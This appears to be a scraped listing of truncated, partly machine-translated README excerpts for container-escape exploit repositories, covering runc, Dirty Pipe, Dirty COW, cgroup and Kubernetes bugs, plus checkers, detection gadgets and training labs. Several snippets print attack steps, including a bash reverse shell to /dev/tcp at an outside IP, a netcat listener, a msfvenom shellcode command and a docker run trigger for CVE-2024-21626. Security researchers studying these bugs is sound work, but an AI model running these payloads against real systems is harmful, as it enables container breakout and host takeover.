CVE-2024-21626

CVE-2024-21626 POC 요구사항 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 컨테이너 이미지 실행 및 bash 셸에서 poc.sh 실행 docker run -it --rm cve2024 bash /poc.sh 컨테이너가 리스닝 모드 진입 !lytteht...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Использование : машина уязвима к CVE-2019-5736, следуйте шагам эксплойта Runc CVE-2019-5736. Загрузите файл main.go, измените полезную нагрузку в файле на: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" После этого выполните: go build main.go...

docker_escape_pwn

CVE-2017-1000112 및 CVE-2017-18344를 이용한 Docker 탈출. 포함: 루트 권한 획득 모든 Capabilities 획득 네임스페이스 복구 파일시스템 복구 cgroup 제한 우회 seccomp 우회...

CVE-2024-21626

CVE-2024-21626 이 취약점에 대한 자세한 설명은 제 글을 참조하세요. Exploit 컨테이너 실행을 통한 익스플로잇 사용자 정의 이미지를 빌드할 필요 없이 -w 매개변수로 컨테이너를 실행하기만 하면 됩니다: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm 실행 중인 컨테이너로 exec을 통한 익스플로잇 runc 자체를 통한 익스플로잇 /container/runc/runc --version docker run --name...

ipv6_frag_escape

IPV6FRAGESCAPE Надёжная proof-of-concept для непривилегированного побега из контейнера / изоляционной среды для CentOS / RHEL 10. Использует уже исправленную ошибку фрагментации IPv6 в ip6appenddata исправлена в основной ветке коммитом 38becddc, CVE не присвоен — внутрислэбовое линейное...

POC-CVE-2019-5736

RunC-CVE-2019-5736 Видео : https://bit.ly/2WqvILb Статья в блоге : www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html Здесь я хотел бы упомянуть, что оригинальный разработчик этого эксплойта — Юваль Авраами Yuval Avrahami из Twistlock Labs. Запуск POC Обратите внимание: запуск...

subpath-exploit

샘플 Kubernetes 탈출 - CVE-2017-1002101 이용 설명 이 문제에 대해 듣고 이 가이드를 따라가면서, 좀 더 탐구해보고 싶었습니다. 이 리포지토리는 몇 가지 파드 배포와 헬퍼 셸 스크립트를 포함하여, 쿠버네티스 관리자와 운영자가 심각성과 잠재적 위험을 완전히 이해할 수 있도록 공격 메커니즘을 가장 간단한 방식으로 보여줍니다. 인증된 사용자이거나 파드의 스펙/템플릿을 생성 시 제어할 수 있어야 하므로, 이 탈출은 다른 공격예: 이것과 결합하지 않으면 익명으로 이루어지지 않을 가능성이 높습니다. 빠른 설명...

Copy-Fail-CVE-2026-31431-Kubernetes-PoC

Copy Fail CVE-2026-31431 — Kubernetes 컨테이너 탈출 PoC 공유 컨테이너 이미지 레이어를 통해 CVE-2026-31431 리눅스 커널 페이지 캐시 손상 버그를 악용하여 완전히 권한이 없는 컨테이너 가 Kubernetes에서 노드 수준 코드 실행 을 달성할 수 있는 방법을 보여주는 개념 증명입니다. 핵심 공격 원리는 다음과 같습니다: 공격자가 제어하는 컨테이너와 이미지 레이어를 공유하는 모든 권한 있는 DaemonSet이 컨테이너 탈출에 무기화될 수 있습니다. 이 PoC는 kube-proxy를 구체...

can-ctr-escape-cve-2022-0492

컨테이너 환경이 CVE-2022-0492를 통한 탈출escape에 취약한지 테스트하는 컨테이너 이미지입니다. 다음과 같이 빌드한 이미지를 실행하는 새 컨테이너에서 실행하는 것이 좋습니다. $ cd can-ctr-escape-cve-2022-0492 $ docker build -t can-ctr-escape-cve-2022-0492:latest . 미리 빌드된 이미지는...

CDK

CDK - Набор инструментов для проникновения в контейнеры без зависимостей Английский | 简体中文 Правовое уведомление Использование CDK для атак на цели без предварительного взаимного согласия незаконно. CDK предназначен только для целей тестирования безопасности. Обзор CDK — это набор инструментов с...

cve-2024-21626

CVE-2024-21626 개요 이 저장소는 CVE-2024-21626에 취약한 앱을 위한 코드 예제와 공격 시도를 탐지하는 eBPF 가젯을 포함하고 있습니다. 이 저장소는 이 블로그 게시물의 일부로 작성되었습니다. 이 취약점을 탐지하는 데 사용되는 가젯 프로그램은 데모 목적으로만 제공됩니다. 이는 CVE-2024-21626의 완전한 탐지가 아닙니다. 취약점 설명 CVE-2024-21626은 runc 컨테이너 런타임의 취약점으로, v1.1.12 이전 버전에 존재합니다. 이 취약점은 runc가 컨테이너 내에서 명령을 생성하거나...

deepce

deepce . == === /"""""""""""""""""/ === / ===- \ X / \ \ / \/ / / / / / / / / \ ENUMERATE / // / / / // / / / ESCALATE ,/// ./// ESCAPE // 웹사이트 Docker 열거, 권한 상승 및 컨테이너 탈출 DEEPCE 최대한 많은 컨테이너와 호환되도록 DEEPCE는 의존성 없이 순수 sh로 작성되었습니다. 가능한 경우 curl, nmap, nslookup, dig와 같은 추가 도구를 활용하지만, 대부분의 경우 열거...

vulnerable-container-hub

OWASP 취약 컨테이너 허브 프로젝트 배경 보안을 배우고자 하는 사람들에게 웹 애플리케이션, 컨테이너 또는 가상 머신과 같은 취약 환경을 제공하는 저장소는 많이 있습니다. 이러한 환경은 해당 분야에 갓 입문한 학생이나 신입이 관련 보안 기술을 배우는 데 도움이 될 뿐만 아니라, 보안 전문가가 실무 감각을 유지하는 데에도 도움이 되기 때문입니다. 이러한 접근 방식 중 요즘 가장 쉬운 방법은 컨테이너예: docker 또는 podman를 사용하는 것입니다. docker run 또는 docker compose up과 같은 단 하나의...

vulhub

Vulhub is an open-source collection of pre-built, ready-to-use vulnerable Docker environments. With just one command you can launch a vulnerable environment for security research, learning, or demonstration, no prior Docker experience required. 中文版本Chinese version Quick Start Install Docker examp...

CVE-2025-9074-Docker-Exploit

CVE-2025-9074 Инструмент для выполнения команд в контейнерах Docker Мощный инструмент для эксплуатации удаленного API Docker, предназначенный для исследования безопасности и тестирования уязвимости CVE-2025-9074. Ключевые преимущества ✅ Полностью автоматизированное управление жизненным циклом...

CVE-2022-0492-Docker-Breakout-Checker-and-PoC

CVE-2022-0492 Проверка и PoC для выхода из Docker-контейнера Краткое описание Для эксплуатации уязвимости злоумышленнику требуется доступ к контейнеру Docker, запущенному на уязвимой системе. После успешной эксплуатации атакующий может выйти из контейнера и получить полный контроль над...

CVE-2022-0847-container-escape

CVE-2022-0847 더티파이프Dirty Pipe를 사용하여 runC 진입점에 셸코드를 주입하여 컨테이너 이스케이프를 구현하는 간단한 익스플로잇입니다. 사용법 msf를 사용하여 base64로 인코딩된 셸코드를 생성합니다: $ msfvenom -p linux/x64/exec CMD="" -f base64 컨테이너 내에서 컴파일 및 실행합니다. 덮어쓸 파일명 은 runC가 컨테이너에서 실행할 바이너리입니다 예: /bin/sh: $ gcc exploit.c -o exploit $ ./exploit CVE-2019-5736과 같이...

dirtycow-vdso

0xdeadbeef Dirty COW CVE-2016-5195에 대한 PoC입니다. 이 PoC는 vDSO를 패치하기 위해 /proc/self/mem 대신 ptrace에 의존합니다. 파일 시스템 바이너리를 수정하는 PoC에 비해 몇 가지 장점이 있습니다: setuid 바이너리가 필요 없음 SELinux 우회 컨테이너 탈출 파일 시스템 writeback으로 인한 커널 크래시 없음 그리고 몇 가지 단점: 아키텍처 의존적 페이로드가 어셈블리로 작성되기 때문 모든 Linux 버전에서 동작하지 않음 vDSO 변경에 영향을 받음 페이로드 ...

page_inject

pageinject - AFALG aead 크로스 컨테이너 이스케이프 AFALG aead 취약점 크로스 컨테이너 익스플로잇 -- 하나의 손상된 컨테이너에서 동일한libc.so.6 이미지 레이어를 공유하는 모든 형제 컨테이너로 피벗. 이것은 탈출 프리미티브 입니다: 공격자가 이미 손상시킨 내부 의 권한이 없는 컨테이너에서 실행되며, AFALG authencesn ESN-로테이션 4바이트 임의 쓰기 버그CVE-2026-31431를 사용하여 libc.so.6의 페이지 캐시 페이지에 지속적인 read 훅을 심습니다. Docker /...

CVE-2022-0492-Checker

CVE-2022-0492-Checker Скрипт для проверки, уязвима ли среда контейнера к побегам из контейнера через CVE-2022-0492 Об уязвимости 4 февраля Linux объявил о CVE-2022-0492 , новой уязвимости повышения привилегий в ядре. CVE-2022-0492 отмечает логическую ошибку в группах управления cgroups, функции...